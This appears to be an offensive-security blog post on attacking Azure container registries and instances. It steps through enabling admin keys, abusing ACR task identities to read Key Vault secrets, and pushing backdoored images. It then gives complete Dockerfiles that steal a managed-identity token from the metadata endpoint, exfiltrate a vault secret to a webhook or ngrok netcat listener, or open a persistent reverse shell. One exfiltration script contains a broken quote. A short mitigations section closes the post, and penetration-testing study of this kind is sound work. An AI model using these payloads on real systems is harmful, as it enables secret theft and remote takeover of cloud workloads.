Pandora’s Container Part 1: Unpacking Azure Container Security

Table of contents
- Container Registries
- Identifying Roles and Registries
- Checking if Admin User is Enabled
- Enabling Admin User & Retrieving Passwords
- Pushing, Pulling and Tagging
- Dissecting Docker Images
- Modifying a Task With a Managed Identity
- Creating a Malicious YAML File
- Running the Task
- Token Keys and Scope Maps
- Creating a Token
- Change Image
- “How it’s Supposed to Work”
- My Method for Exfiltration
- Building a Custom Dockerfile
- Restart the Container With the Modified Image
- Exfil to Listener With ngrok
- Reverse Shell With ngrok
Containers have become a foundational component of modern Azure environments. However, the attack surface introduced by services such as container registries, container apps, container instances, and container jobs is often underexplored. This blog series examines common attack techniques targeting Azure container services, including registries, secrets, jobs, keys, container instances, and container apps.
During testing, I found that a standard reverse shell approach for container image replacement did not work reliably. I developed an alternative technique that embeds IMDS token theft and secret exfiltration directly into a Dockerfile's entrypoint, eliminating the need for a persistent reverse shell connection.
Again, another shoutout to the AzRTE course by HackTricks for their amazing content. The course covered a lot of material and helped me understand Azure container security, identity abuse, and more.
Pre-Requisites
This blog assumes you at least have reader rights over the container assets. I have included a link to my GitHub repo with scripts you can run from CloudShell to enumerate these permissions.
https://github.com/OffsecPierogi/Azure
The following permissions are used for this demo:
- Microsoft.ContainerRegistry/registries/read
- Microsoft.ContainerRegistry/registries/write
- Microsoft.ContainerRegistry/registries/listCredentials/action
- Microsoft.ContainerRegistry/registries/pull/read
- Microsoft.ContainerRegistry/registries/push/write
- Microsoft.ContainerRegistry/registries/tasks/read
- Microsoft.ContainerRegistry/registries/tasks/write
- Microsoft.ContainerRegistry/registries/runs/write
- Microsoft.ContainerRegistry/registries/tokens/read
- Microsoft.ContainerRegistry/registries/tokens/write
- Microsoft.ContainerRegistry/registries/scopeMaps/write
- Microsoft.ContainerInstance/containerGroups/restart/action
- Microsoft.ContainerInstance/containerGroups/write
- Microsoft.ContainerRegistry/registries/generateCredentials/action
The following built-in roles in Azure RBAC have all or some of these permissions assigned to them by default.
- Owner
- Contributor
- AcrPull
- AcrPush

Container Registries
Container Registries (ACR) store and distribute container images in Azure. They can be private (requiring auth) or public. As an attacker, a misconfigured registry lets you pull proprietary images, push backdoored containers or overwrite tags to hijack deployments.
Enabling Admin Keys & Secret Hunting
Container registries store and distribute container images. Admin keys allow you to log in as admin and conduct actions on behalf of one.
Required Permissions:
- Microsoft.ContainerRegistry/registries/write
- Microsoft.ContainerRegistry/registries/listCredentials/action
- Microsoft.ContainerRegistry/registries/push/write
Full access can also be achieved through having the Contributor role assigned over the resources (used here in the blog) or ACRPush/ACRPull permissions in the data plane. If an attacker gets access to a registry, these are some of the things they can do.
Full Registry Access:
- Pull any image - steal your proprietary container images and code
- Push malicious images - inject backdoored containers into your registry
- Delete images/repositories - wipe out your entire registry
- List all repositories - reconnaissance on your infrastructure
- Overwrite tags (like latest) - replace legitimate images with compromised ones
Identifying Roles and Registries
We sign in and begin enumerating our role assignments. We then enumerate what role our user is assigned over the registry asset.
az role assignment list \
--assignee $(az ad signed-in-user show --query id -o tsv) \
--scope $(az acr show -n <REGISTRY_NAME> --query id -o tsv) \
-o table
We enumerate container registries within our tenant using the following az cli command:
az acr list
Checking if Admin User is Enabled
We then check whether an admin user is enabled for the registry, which can allow you to sign in with Docker.
az acr show --resource-group <resource-group> --name <ACRname> --query "adminUserEnabled"
In the portal:

Enabling Admin User & Retrieving Passwords
If the admin user is not enabled, you can use the following command to enable it.
az acr update --resource-group $RESOURCE_GROUP --name $ACR_NAME --admin-enabled trueWe then list credentials for the admin user since it was enabled.

We can then log in with Docker to list the images as the admin user we obtained credentials for.
docker login $ACR_NAME.azurecr.io -u <REGISTRY_NAME> -p <PASSWORD>

Pushing, Pulling and Tagging
Here are commands for pushing and tagging images with Docker.
docker tag <IMAGE> <ACR_NAME>.azurecr.io/<IMAGE>:<TAG> && docker push <ACR_NAME>.azurecr.io/<IMAGE>:<TAG>
Listing images show that our image was successfully pushed to the registry.
docker images
The following command pulls the image from the registry that we pushed earlier.
docker pull $ACR_NAME.azurecr.io/<IMAGE>:<TAG>
Dissecting Docker Images
Once we have a Docker image pulled down, we can create a Docker container from the image to look for secrets or use a tool like dive to look layer by layer.
docker create $ACR_NAME.azurecr.io/<IMAGE>:<TAG>
OR
dive $ACR_NAME.azurecr.io/<IMAGE>:<TAG>
OR
docker inspect $ACR_NAME.azurecr.io/<IMAGE>:<TAG>This is a good way to do secret hunting for container images and find some goodies that could be used later in the cloud environment. Environment variables, suspicious files, and more are all fair game.
Modifying a Task With a Managed Identity
ACR Tasks are automated workflows that can build, push, and patch container images. Tasks can have managed identities attached, granting them access to other Azure resources like Key Vaults. If an attacker can modify or create tasks, they can leverage that identity to access secrets. This identity configuration is shown here in case anyone wants to replicate this in their lab.
ACR Tasks can have system-assigned or user-assigned managed identities. If an identity is present, modify the task to abuse those permissions. To check, run:
az acr task show --registry <REGISTRY_NAME> --name <TASK_NAME>
--query identityRequired Permissions:
- Microsoft.ContainerRegistry/registries/tasks/write
- Microsoft.ContainerRegistry/registries/runs/write
Creating a Malicious YAML File
In this attack, you create a YAML file and specify what action you want the identity to perform. You then create a task or update it to execute the command.
A YAML file like the one below will be used to create the task to obtain a secret from a vault.
version: v1.1.0
secrets:
- id: <SECRET_NAME>
keyvault: https://<VAULT_NAME>.vault.azure.net/secrets/<SECRET_NAME>
steps:
- command: bash echo 'Secret={{.Secrets.<SECRET_NAME>}}'Running the Task
If a task is not already present over the registry, we will create one as shown below. Otherwise, you will modify the task that has the assigned identity.
az acr task create --registry <REGISTRY_NAME> --name <TASK_NAME> --file acr-task.yaml --context /dev/null --assign-identityaz acr task modify --registry <REGISTRY_NAME> --name <TASK_NAME> --file acr-task.yaml --context /dev/null
We will then manually run the task in order for it to carry out its function and obtain a secret from the vault.
az acr task run --registry <REGISTRY_NAME> --name <TASK_NAME>

Token Keys and Scope Maps
Token Keys allow you to generate tokens for repository access; the Azure description is as follows:
“A token along with a password lets you authenticate with the registry. A token is associated with a scope map which consists of permitted actions scoped to one or more repositories. Expiration time can be set for token credentials.”
Scope maps define granular permission sets for repository-level access. This is the underlying mechanism behind ACR tokens, as the token is associated with a scope map that determines what repositories and operations it can access.
Required Permissions:
- Microsoft.ContainerRegistry/registries/tokens/write
- Microsoft.ContainerRegistry/registries/scopeMaps/write
- Microsoft.ContainerRegistry/registries/generateCredentials/action
Creating a Token
We begin by creating a token for the target registry, specifying a scope map that defines the permissions granted to the token. An example of a scope map and its permissions are shown below.

We then create the token and log in to the registry with our new credentials.
az acr token create --name <TOKEN_NAME> --registry <ACR_NAME> --scope-map <SCOPE_MAP>
docker login <ACR_NAME>.azurecr.io -u <TOKEN_NAME> -p <PASSWORD>
You can then pull images and rummage for secrets when you authenticate with the created credentials using a Docker login.

The below commands allow you to dive (literally) into the container image so you can enumerate secrets, env variables, and more.
dive $ACR_NAME.azurecr.io/<IMAGE>:<TAG>
container_id=$(docker create <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG>)
docker cp $container_id:/ ./extracted_container
Successfully copied 154MB to /home/extracted_container
docker rm $container_id
0b8bebd775f53a4f0vbeb4c7d25fg4a5d6175fba18d56e217e33c39693b43f88
docker inspect <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG> | jq '.[0].Config.Env[]' | grep 'secret'
Change Image
An attacker with these permissions could replace a legitimate container image with a malicious image under their control. By modifying the image or associated Dockerfile, the attacker may gain the ability to execute arbitrary code, harvest credentials, establish persistence, or exfiltrate sensitive data from the environment.
Permissions:
- Microsoft.ContainerRegistry/registries/pull/read
- Microsoft.ContainerRegistry/registries/push/write
- Microsoft.ContainerInstance/containerGroups/restart/action
- Microsoft.ContainerInstance/containerGroups/write
Before the demonstration, I highly encourage you to install ngrok or a similar tool in order to catch the reverse shell connection.
We sign in as the HSmith user, who has the necessary permissions over the container registry.
az account show
Enumerating Registries
Running the following command, we can enumerate the target registry name, you can also specify a specific resource group.
az acr list
Now, with the registry name obtained, we can name repositories within the registry.
az acr repository list --name <REGISTRY_NAME>
az acr login --name <REGISTRY_NAME>
Once logged in, you will want to pull an image you intend to modify for legit helpful purposes.
docker pull <IMAGE>
“How it’s Supposed to Work”
From here, we will want to modify the newly pulled image and add a reverse shell to its functionality to gain RCE. You will create a Dockerfile and add the content you want, including your shell command. We will be using this:
Build a new image with a reverse shell:
FROM python:3.9-slim
# Install netcat and azure cli
RUN apt-get update && \
apt-get install -y netcat-traditional
WORKDIR /app
# Add a reverse shell command that connects back to our system
CMD nc -e /bin/bash <ENTIRE NGROK URL>Make sure you start your Netcat listener and ngrok.

ngrok tcp <DESIRED PORT>You will then do this in a separate terminal:
nc -lvnp <SAME DESIRED PORT>Once this is all running in the background, we can work our magic.
At this point, we will push the image to Docker and restart the container, after which we should get a connection back to our Netcat listener.
nano Dockerfile
docker build -t <IMAGE>:<TAG> <DIRECTORY>
For reasons related to how Docker handles the latest tag, I needed to retag the image. You generally shouldn’t run into this if you use a versioned (immutable) tag instead of latest, since latest can be reassigned to different image digests. We successfully pushed the container image to the registry.
docker push <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG>
Next, you would typically restart the container asset and gain a shell… but this didn’t happen for me in the course or in my lab.
Actual footage:

For some context:
Your shell may have not worked for a few reasons.
- Firewall rules
- Typo within the image/shell
- The container instance doesn’t use the target registry or image

NOTE:
From there, the process would typically involve running a docker build, pushing it with docker push, and restarting the container. Next, you would get the shell. Unfortunately, this didn’t work for me in the HackTricks course (even with lab support), nor in my own Azure lab. I spent A LOT of time trying to recreate this but was unsuccessful.
So, this is a new way, with what I discovered. This method will abuse container permissions and the assigned identity permissions to the container to exfiltrate a vault secret to a webhook.
My Method for Exfiltration
Exfil Vault Secrets to Webhook
Permissions:
- Microsoft.ContainerRegistry/registries/push/write
- Microsoft.ContainerInstance/containerGroups/restart/action
After an absolute plethora of reading, research, testing, and head smashing, this is what I discovered. I ended up trying a lot of different shells and found one that was repeatedly successful for me.
Building a Custom Dockerfile
You start off building a Dockerfile for the image you plan to update. The following Dockerfile will run an update, create an /app directory, and gather secret information, including the final value, by getting a token as the system-assigned identity.
cat Dockerfile
FROM python:3.9-slim
RUN apt-get update && \
apt-get install -y bash curl jq ca-certificates && \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN printf '%s\n' \
'#!/bin/bash' \
'echo "Container starting..."' \
'echo "Requesting Managed Identity token..."' \
'' \
'TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)' \
'' \
'if [ -z "$TOKEN" ] || [ "$TOKEN" = "null" ]; then' \
' echo "Failed to get token"' \
' exit 1' \
'fi' \
'' \
'echo "Fetching secret from Key Vault..."' \
'SECRET=$(curl -s -H "Authorization: Bearer $TOKEN" https://<VAULT_NAME>.vault.azure.net/secrets/Image?api-version=7.4 | jq -r .value)' \
'' \
'if [ -z "$SECRET" ] || [ "$SECRET" = "null" ]; then' \
' echo "Failed to fetch secret"' \
' exit 1' \
'fi' \
'' \
'echo "Sending secret to webhook..."' \
'curl -X POST -H "Content-Type: application/json" -d "{\"secret\":\"$SECRET\"}" <WEBHOOK>' \
'' \
'echo "Done."' \
'sleep 3600' \
> /entrypoint.sh && \
chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
At this point, you’re going to want to build the image but specify a platform (I am on an M4 ARM-based Mac). We build it for the AMD64 Linux platform that the container is running, as shown below. If you don’t specify a platform, you may run into issues (ask me how I know).
We also run a multi-arch buildx command that provides multi-platform support. Once the image is built, we push it to the registry like normal.
docker buildx create --use --name multiarch
docker buildx build --platform <PLATFORM> -t <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG> --load <DIRECTORY>
docker push <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG>
Restart the Container With the Modified Image
Restart the container (NOTE: the container must be using the image + tag that you’re building and pushing to apply your image).
az container restart --resource-group <RESOURCE_GROUP> --name <CONTAINER_NAME>
Anddddd voila. You can see the exfiltrated secret in our webhook and see the logs from the container of our malicious image going through its process.



Exfil to Listener With ngrok
We follow the same process, but instead of a webhook, we specify our ngrok address that will forward traffic to a local port. Restart the container with a listener in a separate terminal.
Below is the secret value intercepted with your Netcat listener.
docker buildx build --platform <PLATFORM> -t <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG> --load <DIRECTORY>
az container restart --resource-group <RESOURCE_GROUP> --name <CONTAINER_NAME>
This Dockerfile will exfiltrate the secret to your listener.
FROM python:3.9-slim
RUN apt-get update && \
apt-get install -y bash curl jq ca-certificates netcat-openbsd && \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN printf '%s\n' \
'#!/bin/bash' \
'echo "Container starting..."' \
'echo "Requesting Managed Identity token..."' \
'' \
'TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)' \
'' \
'if [ -z "$TOKEN" ] || [ "$TOKEN" = "null" ]; then' \
' echo "Failed to get token"' \
' exit 1' \
'fi' \
'' \
'echo "Token acquired successfully"' \
'echo "Fetching secret from Key Vault..."' \
'SECRET=$(curl -s -H "Authorization: Bearer $TOKEN" https://<VAULT_NAME>.vault.azure.net/secrets/Image?api-version=7.4 | jq -r .value)' \
'' \
'if [ -z "$SECRET" ] || [ "$SECRET" = "null" ]; then' \
' echo "Failed to fetch secret"' \
' exit 1' \
'fi' \
'' \
'echo "Secret retrieved successfully"' \
'echo "Sending secret via netcat to ngrok..."' \
'echo "Secret: $SECRET" | Nc <NGROK_URL><NGROK_PORT> \
'' \
'echo "Data sent!"' \
'sleep 3600' \
> /entrypoint.sh && \
chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]Reverse Shell With ngrok
This follows the same process but establishes an actual connection to the compromised container. We specify a shell in the Dockerfile, build, and then push it to the registry. Once this is complete, we restart the container so it pulls the malicious image.
We get a reverse shell and compromise the host after a 30-second wait!

Reverse shell Dockerfile:
cat Dockerfile
FROM python:3.9-slim
RUN apt-get update && \
apt-get install -y bash netcat-openbsd && \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN printf '%s\n' \
'#!/bin/bash' \
'echo "Container starting..."' \
'echo "Establishing persistent reverse shell..."' \
'' \
'while true; do' \
' rm -f /tmp/f; mkfifo /tmp/f' \
' cat /tmp/f | /bin/bash -i 2>&1 | nc <NGROK_URL> <NGROK_PORT> > /tmp/f' \
' echo "Connection lost, retrying in 5 seconds..."' \
' sleep 5' \
'done' \
> /entrypoint.sh && \
chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]As you can see, the possibilities of ACI abuse are endless. You can exfiltrate secrets to your own listener or a webhook and even gain a shell back to your own machine.

Mitigations
Here are some recommendations on how to reduce this risk and prevent an attacker from getting permissions or roles like these.
- Enforce least privilege to ensure broad roles like Contributor are rarely or never assigned. Try to scope to only required actions, or use PIM/JIT (Just-In-Time) access. This makes the role or permissions expire after a specified time period.
- Use resource-level scoping specific to container assets and not subscription-wide.
- Enforce MFA + Conditional Access policies to limit who gains access. Restrict access to specific IP address ranges or location-based authentication.
I hope this was a twist of fun for you to read and learn from. I also hope this helps the offensive professionals out there with cloud testing, along with defenders and what to watch out for.
Stay tuned for Part 2—coming soon!